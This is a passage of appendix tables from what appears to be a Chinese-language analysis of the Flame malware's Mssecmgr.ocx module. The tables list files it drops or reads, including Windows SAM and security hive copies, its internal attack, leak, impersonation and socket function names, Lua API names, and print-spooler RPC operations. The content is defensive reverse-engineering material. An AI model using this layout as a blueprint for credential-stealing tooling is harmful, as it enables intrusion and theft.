        Files\Common Files\Microsoft Shared\MSSecurityMgr\dmmsap.dat"      
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\syscache.dat"    
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\domm.dat"        
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\syscache3.dat"   
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\domm3.dat"       
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\nt2cache.dat"    
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\domm2.dat"       
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\ltcache.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\dommt.dat"       
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\wavesup3.drv"          
         "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\comspol32.ocx"                             
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\indsvc32.ocx"                              
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\scaud32.exe"                               
             "C:\WINDOWS\system32\sstab11.dat"                                              
             "C:\WINDOWS\system32\comspol32.ocx"                                            
             "C:\WINDOWS\system32\sstab12.dat"                                              
             "C:\WINDOWS\system32\comspol32.ocx"                                            
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winrt32.dll"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winrt32.ocx"                               
             "C:\WINDOWS\system32\winconf32.ocx"                                            
             "C:\WINDOWS\system32\mssui.drv"                                                
             "C:\WINDOWS\system32\indsvc32.dll"                                             
             "C:\WINDOWS\system32\indsvc32.ocx"                                             
             "C:\WINDOWS\system32\modevga.com"                                              
             "C:\WINDOWS\system32\commgr32.dll"                                             
             "C:\WINDOWS\system32\watchxb.sys"                                              
             "C:\WINDOWS\system32\scaud32.exe"                                              
             "C:\WINDOWS\system32\sdclt32.exe"
               "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\scsec32.exe"                               
             "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\mpgaud.dat"            
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m4aaux.dat"            
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\wpgfilter.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\audcache"              
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\audfilter.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m3aaux.dat"            
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m3afilter.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m3asound.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m4afilter.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m4asound.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m5aaux.dat"            
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m5afilter.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\m5asound.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\mpgaaux.dat"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\qpgaaux.dat"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\mlcache.dat"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\srcache.dat"           
         "C:\WINDOWS\Ef_trace.log"                                              
             "C:\WINDOWS\repair\system"                                              
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rei525.tmp"                        
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rei524.tmp"                     
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\GRb9M2.bat"                      
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~a28.tmp"                         
              "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra51.tmp"                      
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TFL849.tmp"                    
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TFL848.tmp"                    
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL546.tmp"                       
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"                  
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL544.tmp"                 
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFL543.tmp"                    
             "C:\WINDOWS\repair\sam"                                                   
             "C:\WINDOWS\repair\security"                                                   
             "C:\WINDOWS\repair\default"                                                    
             "C:\WINDOWS\repair\software"                                                   
             "C:\WINDOWS\Prefetch\Layout.ini"                                               
             "C:\WINDOWS\Prefetch\NTOSBOOT-B00DFAAD.pf"                                 
             "C:\WINDOWS\system32\config\sam.sav"                                           
             "C:\WINDOWS\system32\config\security.sav"                                      
             "C:\WINDOWS\system32\config\default.sav"                                       
             "C:\WINDOWS\system32\config\software.sav"                                      
             "C:\WINDOWS\system32\config\system.sav"                                        
             "C:\WINDOWS\system32\config\userdiff.sav"                                      
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"                                 
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab.dat"                                 
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra52.tmp"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~ZFF042.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\sstab15.dat"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpab32.bat"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\wpab32.bat
        "                               
         "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF05AC8.tmp"                              
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD85D3.tmp"                              
             "C:\WINDOWS\system32\pcldrvx.ocx"                                              
             "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\dstrlog.dat"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAudio\dstrlogh.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\authcfg.dat"        
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\ctrllist.dat"       
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\lmcache.dat"        
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\ntcache.dat"        
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\posttab.bin"        
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\secindex.dat"       
         "C:\Program
        Files\Common Files\Microsoft Shared\MSAuthCtrl\tokencpt"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlog.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\dstrlogh.dat"    
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\rccache.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\audtable.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\fmpidx.bin"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\lrlogic"              
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\mixercfg.dat"         
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\sndmix.drv"           
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\lmcache.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\ntcache.dat"          
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSndMix\mixerdef.dat"         
         "C:\WINDOWS\system32\msglu32.ocx"                                              
             "C:\WINDOWS\Temp\~8C5FF6C.tmp"                                                 
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV084.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV294.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV473.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI988.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI989.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"                                
             "C:\WINDOWS\system32\advnetcfg.ocx"                                            
             "C:\WINDOWS\system32\advpck.dat"                                               
             "C:\WINDOWS\system32\authpack.ocx"                                             
             "C:\WINDOWS\system32\boot32drv.sys"                                            
             "C:\WINDOWS\system32\ccalc32.sys"                                              
             "C:\WINDOWS\system32\comspol32.dll"                                            
             "C:\WINDOWS\system32\ctrllist.dat"                                             
             "C:\WINDOWS\system32\mssvc32.ocx"                                              
             "C:\WINDOWS\system32\ntaps.dat"                                                
             "C:\WINDOWS\system32\nteps32.ocx"                                              
             "C:\WINDOWS\system32\rpcnc.dat"                                                
             "C:\WINDOWS\system32\soapr32.ocx"                                              
             "C:\WINDOWS\system32\sstab.dat"                                                
             "C:\WINDOWS\system32\sstab0.dat"                                               
             "C:\WINDOWS\system32\sstab1.dat"                                               
             "C:\WINDOWS\system32\sstab10.dat"                                              
             "C:\WINDOWS\system32\sstab2.dat"                                               
             "C:\WINDOWS\system32\sstab3.dat"                                               
             "C:\WINDOWS\system32\sstab4.dat"                                               
             "C:\WINDOWS\system32\sstab5.dat"                                               
             "C:\WINDOWS\system32\sstab6.dat"                                               
             "C:\WINDOWS\system32\sstab7.dat"                                               
             "C:\WINDOWS\system32\sstab8.dat"                                               
             "C:\WINDOWS\system32\sstab9.dat"                                               
             "C:\WINDOWS\system32\msglu32.ocx"                                            
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra53.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~rf288.tmp"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~dra61.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~a38.tmp"                                  
             "C:\WINDOWS\system32\soapr32.ocx"                                              
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a2.tmp"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a0.tmp"                                
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp~mso2a1.tmp"                                
             "C:\WINDOWS\system32\nteps32.ocx"                                              
             "C:\WINDOWS\system32\advnetcfg.ocx"                                            
             "C:\WINDOWS\system32\boot32drv.sys"                                            
             "C:\WINDOWS\system32\ccalc32.sys"                                              
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV473.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV927.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV084.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV294.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~HLV751.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI988.tmp"                               
             "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~KWI989.tmp"        
              | 
  
附表六
表 5-6为Mssecmgr.ocx文件中的LUA脚本调用函数列表内容
"<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>316<|oOo|>"
               "<|oOo|>flame::lua::SockPackage::LuaSockServices::send<|oOo|>1731<|oOo|>"
               "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>218<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::removeListElement<|oOo|>615<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>320<|oOo|>"
             "<|oOo|>flame::lua::CommandPackage::post<|oOo|>177<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>234<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1894<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::getListSize<|oOo|>454<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::exec<|oOo|>1161<|oOo|>"
             "<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>213<|oOo|>"
             "<|oOo|>flame::lua::LuaState::argAsBoolean<|oOo|>188<|oOo|>"
             "<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>203<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>233<|oOo|>"
             "<|oOo|>flame::dbquery::DbQueryPackage::parseSingleQuery<|oOo|>210<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>326<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>337<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::hasKey<|oOo|>270<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>340<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1756<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::get<|oOo|>331<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>229<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>350<|oOo|>"
             "<|oOo|>flame::lua::ZlibPackage::compress<|oOo|>2158<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>334<|oOo|>"
             "<|oOo|>flame::clan::DbPackage::pushSQLiteValue<|oOo|>430<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::DHCPAddress<|oOo|>1238<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::getListElement<|oOo|>584<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>352<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>231<|oOo|>"
             "<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>192<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1868<|oOo|>"
             "<|oOo|>flame::lua::CommandPackage::runCmdSync<|oOo|>199<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::hostname<|oOo|>1069<|oOo|>"
             "<|oOo|>flame::cruise::CruisePackage::getDomainGroupUsers<|oOo|>154<|oOo|>"
             "<|oOo|>flame::lua::FileIOPackage::fileSize<|oOo|>900<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>153<|oOo|>"
             "<|oOo|>flame::lua::LogPackage::writeLog<|oOo|>1476<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>156<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>238<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::getMac<|oOo|>1301<|oOo|>"
             "<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>198<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::getIpByHostName<|oOo|>1267<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>154<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::bind<|oOo|>1840<|oOo|>"
             "<|oOo|>flame::lua::LuaState::argAsString<|oOo|>175<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>227<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>158<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::setListElement<|oOo|>526<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::remove<|oOo|>394<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>224<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::connect<|oOo|>1909<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>356<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::getSubKeys<|oOo|>428<|oOo|>"
             "<|oOo|>flame::lua::LuaState::luaHook<|oOo|>221<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>163<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::pushLuaObjectFromKeyValue<|oOo|>669<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>222<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>346<|oOo|>"
             "<|oOo|>flame::lua::LuaState::luaHook<|oOo|>226<|oOo|>"
             "<|oOo|>flame::lua::FileIOPackage::del<|oOo|>802<|oOo|>"
             "<|oOo|>flame::lua::LeakPackage::reportLeakCompletion<|oOo|>2125<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>328<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>322<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>236<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1818<|oOo|>"
             "<|oOo|>flame::cruise::CruisePackage::getUserLocalGroups<|oOo|>252<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>332<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>150<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::set<|oOo|>367<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>235<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::recv<|oOo|>1792<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::defaultGateway<|oOo|>1212<|oOo|>"
             "<|oOo|>flame::lua::LuaState::argAsBuffer<|oOo|>166<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>219<|oOo|>"
             "<|oOo|>flame::impersonator::ImpersonatePackage::getTokenByUser<|oOo|>198<|oOo|>"
             "<|oOo|>flame::lua::StoragePackage::getStorageMap<|oOo|>2000<|oOo|>"
             "<|oOo|>flame::lua::SockPackage::LuaSockServices::send<|oOo|>1686<|oOo|>"
             "<|oOo|>flame::lua::LeakPackage::getLeak<|oOo|>2049<|oOo|>"
             "<|oOo|>flame::lua::FileIOPackage::copy<|oOo|>846<|oOo|>"
             "<|oOo|>flame::lua::ZlibPackage::uncompress<|oOo|>2179<|oOo|>"
             "<|oOo|>flame::lua::StoragePackage::getStorageMap<|oOo|>1997<|oOo|>"
             "<|oOo|>flame::dbquery::DbQueryPackage::executeQueries<|oOo|>143<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>330<|oOo|>"
             "<|oOo|>flame::cruise::CruisePackage::getLocalGroupMembers<|oOo|>108<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>220<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::defaultGateway<|oOo|>1215<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>225<|oOo|>"
             "<|oOo|>flame::impersonator::ImpersonatePackage::getCurrentToken<|oOo|>173<|oOo|>"
             "<|oOo|>flame::lua::LeakPackage::getLeak<|oOo|>2062<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>343<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::DHCPAddress<|oOo|>1235<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>161<|oOo|>"
             "<|oOo|>flame::lua::FileIOPackage::truncate<|oOo|>821<|oOo|>"
             "<|oOo|>flame::lua::FileIOPackage::move<|oOo|>876<|oOo|>"
             "<|oOo|>flame::cruise::CruisePackage::getLocalGroups<|oOo|>82<|oOo|>"
             "<|oOo|>flame::lua::StoragePackage::save<|oOo|>1981<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::getType<|oOo|>300<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::audition<|oOo|>217<|oOo|>"
             "<|oOo|>flame::clan::WmiPackage::getNextResult<|oOo|>465<|oOo|>"
             "<|oOo|>flame::lua::LuaState::interfaceBootStrapper<|oOo|>318<|oOo|>"
             "<|oOo|>flame::impersonator::ImpersonatePackage::getCurrentToken<|oOo|>168<|oOo|>"
             "<|oOo|>flame::lua::LuaState::argAsStringsMap<|oOo|>153<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>151<|oOo|>"
             "<|oOo|>flame::lua::ConfigurationPackage::setFromStack<|oOo|>709<|oOo|>"
             "<|oOo|>flame::clan::AttackPackage::pathetic3<|oOo|>152<|oOo|>"
             "<|oOo|>flame::lua::FlameOSPackage::domainName<|oOo|>1193<|oOo|>"
              | 
  
附表七
表 5-7为Mssecmgr.ocx文件中使用Lua脚本函数列表内容
luaB_cocreate
               luaB_collectgarbage
               luaB_coresume
             luaB_cowrap
             luaB_error
             luaB_gcinfo
             luaB_getfenv
             luaB_getmetatable
             luaB_ipairs
             luaB_load
             luaB_loadstring
             luaB_newproxy
             luaB_next
             luaB_pairs
             luaB_pcall
             luaB_rawequal
             luaB_rawget
             luaB_rawset
             luaB_select
             luaB_setfenv
             luaB_setmetatable
             luaB_tonumber
             luaB_tostring
             luaB_type
             luaB_unpack
             luaB_xpcall
             luaD_call
             luaD_reallocCI
             luaD_throw
              | 
    luaG_runerror
               luaG_typeerror
               luaI_openlib
             luaL_addlstring
             luaL_addvalue
             luaL_argerror
             luaL_checkany
             luaL_checkinteger
             luaL_checklstring
             luaL_checknumber
             luaL_checkoption
             luaL_checktype
             luaL_checkudata
             luaL_error
             luaL_findtable
             luaL_getmetafield
             luaL_newmetatable
             luaL_optlstring
             luaL_prepbuffer
             luaL_pushresult
             luaL_typerror
             luaL_where
             luaS_newlstr
             luaT_gettmbyobj
             luaV_settable
             lua_addk
             lua_adjuststack
             lua_assignment
             lua_aux_close
              | 
    lua_auxopen
               lua_auxresume
               lua_base_open
             lua_body
             lua_breakstat
             lua_concat
             lua_createmeta
             lua_createstdfile
             lua_createtable
             lua_db_errorfb
             lua_db_getinfo
             lua_emptybuffer
             lua_enterlevel
             lua_errorlimit
             lua_f_flush
             lua_f_read
             lua_f_seek
             lua_f_setvbuf
             lua_f_write
             lua_fflush
             lua_fixjump
             lua_forlist
             lua_fornum
             lua_funcargs
             lua_funcinfo
             lua_g_read
             lua_g_write
             lua_getcurrenv
             lua_getfenv
              | 
    lua_getfield
               lua_getfunc
               lua_getinfo
             lua_getobjname
             lua_getstack
             lua_getthread
             lua_index2adr
             lua_indexupvalue
             lua_insert
             lua_io_close
             lua_io_fclose
             lua_io_gc
             lua_io_open
             lua_io_pclose
             lua_io_readline
             lua_io_tostring
             lua_io_type
             lua_ipairsaux
             lua_isnumber
             lua_load_aux
             lua_luaK_checkstack
             lua_luaK_code
             lua_luaopen_base
             lua_luaopen_debug
             lua_luaopen_io
             lua_luaopen_math
             lua_luaopen_os
             lua_luaopen_string
             lua_luaopen_table
              | 
    lua_new_localvar
               lua_newfile
               lua_newuserdata
             lua_panic
             lua_parlist
             lua_prefixexp
             lua_pushcclosure
             lua_pushclosure
             lua_pushfstring
             lua_pushlstring
             lua_pushresult
             lua_pushvalue
             lua_recfield
             lua_registerlocalvar
             lua_remove
             lua_setfield
             lua_setmetatable
             lua_settabsi
             lua_settabss
             lua_settop
             lua_simpleexp
             lua_tag_error
             lua_tofile
             lua_tointeger
             lua_tonumber
             lua_treatstackoption
             lua_type
             lua_typename
             lua_yield
              | 
  
表 57为Mssecmgr.ocx文件中使用Lua脚本函数列表内容
luaB_cocreate
luaB_collectgarbage
luaB_coresume
luaB_cowrap
luaB_error
luaB_gcinfo
luaB_getfenv
luaB_getmetatable
luaB_ipairs
luaB_load
luaB_loadstring
luaB_newproxy
luaB_next
luaB_pairs
luaB_pcall
luaB_rawequal
luaB_rawget
luaB_rawset
luaB_select
luaB_setfenv
luaB_setmetatable
luaB_tonumber
luaB_tostring
luaB_type
luaB_unpack
luaB_xpcall
luaD_call
luaD_reallocCI
luaD_throw
luaG_runerror
luaG_typeerror
luaI_openlib
luaL_addlstring
luaL_addvalue
luaL_argerror
luaL_checkany
luaL_checkinteger
luaL_checklstring
luaL_checknumber
luaL_checkoption
luaL_checktype
luaL_checkudata
luaL_error
luaL_findtable
luaL_getmetafield
luaL_newmetatable
luaL_optlstring
luaL_prepbuffer
luaL_pushresult
luaL_typerror
luaL_where
luaS_newlstr
luaT_gettmbyobj
luaV_settable
lua_addk
lua_adjuststack
lua_assignment
lua_aux_close
lua_auxopen
lua_auxresume
lua_base_open
lua_body
lua_breakstat
lua_concat
lua_createmeta
lua_createstdfile
lua_createtable
lua_db_errorfb
lua_db_getinfo
lua_emptybuffer
lua_enterlevel
lua_errorlimit
lua_f_flush
lua_f_read
lua_f_seek
lua_f_setvbuf
lua_f_write
lua_fflush
lua_fixjump
lua_forlist
lua_fornum
lua_funcargs
lua_funcinfo
lua_g_read
lua_g_write
lua_getcurrenv
lua_getfenv
lua_getfield
lua_getfunc
lua_getinfo
lua_getobjname
lua_getstack
lua_getthread
lua_index2adr
lua_indexupvalue
lua_insert
lua_io_close
lua_io_fclose
lua_io_gc
lua_io_open
lua_io_pclose
lua_io_readline
lua_io_tostring
lua_io_type
lua_ipairsaux
lua_isnumber
lua_load_aux
lua_luaK_checkstack
lua_luaK_code
lua_luaopen_base
lua_luaopen_debug
lua_luaopen_io
lua_luaopen_math
lua_luaopen_os
lua_luaopen_string
lua_luaopen_table
lua_new_localvar
lua_newfile
lua_newuserdata
lua_panic
lua_parlist
lua_prefixexp
lua_pushcclosure
lua_pushclosure
lua_pushfstring
lua_pushlstring
lua_pushresult
lua_pushvalue
lua_recfield
lua_registerlocalvar
lua_remove
lua_setfield
lua_setmetatable
lua_settabsi
lua_settabss
lua_settop
lua_simpleexp
lua_tag_error
lua_tofile
lua_tointeger
lua_tonumber
lua_treatstackoption
lua_type
lua_typename
lua_yield
Interface
        | 
    Operation number
        | 
    Operation name
        | 
    Windows API
        | 
  
12345678-1234-abcd-ef00-0123456789ab
      v1.0: winspool (spoolss)
          | 
     
        | 
     
        | 
     
        | 
  
 
        | 
    0x00
        | 
    RpcEnumPrinters
        | 
    |
 
        | 
    0x01
        | 
    RpcOpenPrinter
        | 
    |
 
        | 
    0x02
        | 
    RpcSetJob
        | 
    |
 
        | 
    0x03
        | 
    RpcGetJob
        | 
    |
 
        | 
    0x04
        | 
    RpcEnumJobs
        | 
    |
 
        | 
    0x05
        | 
    RpcAddPrinter
        | 
    |
 
        | 
    0x06
        | 
    RpcDeletePrinter
        | 
    |
 
        | 
    0x07
        | 
    RpcSetPrinter
        | 
    |
 
        | 
    0x08
        | 
    RpcGetPrinter
        | 
    |
 
        | 
    0x09
        | 
    RpcAddPrinterDriver
        | 
    |
 
        | 
    0x0a
        | 
    RpcEnumPrinterDrivers
        | 
    |
 
        | 
    0x0b
        | 
    RpcGetPrinterDriver
        | 
    |
 
        | 
    0x0c
        | 
    RpcGetPrinterDriverDirectory
        | 
    |
 
        | 
    0x0d
        | 
    RpcDeletePrinterDriver
        | 
    |
 
        | 
    0x0e
        | 
    RpcAddPrintProcessor
        | 
    |
 
        | 
    0x0f
        | 
    RpcEnumPrintProcessors
        | 
    |
 
        | 
    0x10
        | 
    RpcGetPrintProcessorDirectory
        | 
    |
 
        | 
    0x11
        | 
    RpcStartDocPrinter
        | 
    |
 
        | 
    0x12
        | 
    RpcStartPagePrinter
        | 
    |
 
        | 
    0x13
        | 
    RpcWritePrinter
        | 
    |
 
        | 
    0x14
        | 
    RpcEndPagePrinter
        | 
    |
 
        | 
    0x15
        | 
    RpcAbortPrinter
        | 
    |
 
        | 
    0x16
        | 
    RpcReadPrinter
        | 
    |
 
        | 
    0x17
        | 
    RpcEndDocPrinter
        | 
    |
 
        | 
    0x18
        | 
    RpcAddJob
        | 
    |
 
        | 
    0x19
        | 
    RpcScheduleJob
        | 
    |
 
        | 
    0x1a
        | 
    RpcGetPrinterData
        | 
    |
 
        | 
    0x1b
        | 
    RpcSetPrinterData
        | 
    |
 
        | 
    0x1c
        | 
    RpcWaitForPrinterChange
        | 
     
        | 
  
 
        | 
    0x1d
        | 
    RpcClosePrinter
        | 
    |
 
        | 
    0x1e
        | 
    RpcAddForm
        | 
    |
 
        | 
    0x1f
        | 
    RpcDeleteForm
        | 
    |
 
        | 
    0x20
        | 
    RpcGetForm
        | 
    |
 
        | 
    0x21
        | 
    RpcSetForm
        | 
    |
 
        | 
    0x22
        | 
    RpcEnumForms
        | 
    |
 
        | 
    0x23
        | 
    RpcEnumPorts
        | 
    |
 
        | 
    0x24
        | 
    RpcEnumMonitors
        | 
    |
 
        | 
    0x25
        | 
    RpcAddPort
        | 
    |
 
        | 
    0x26
        | 
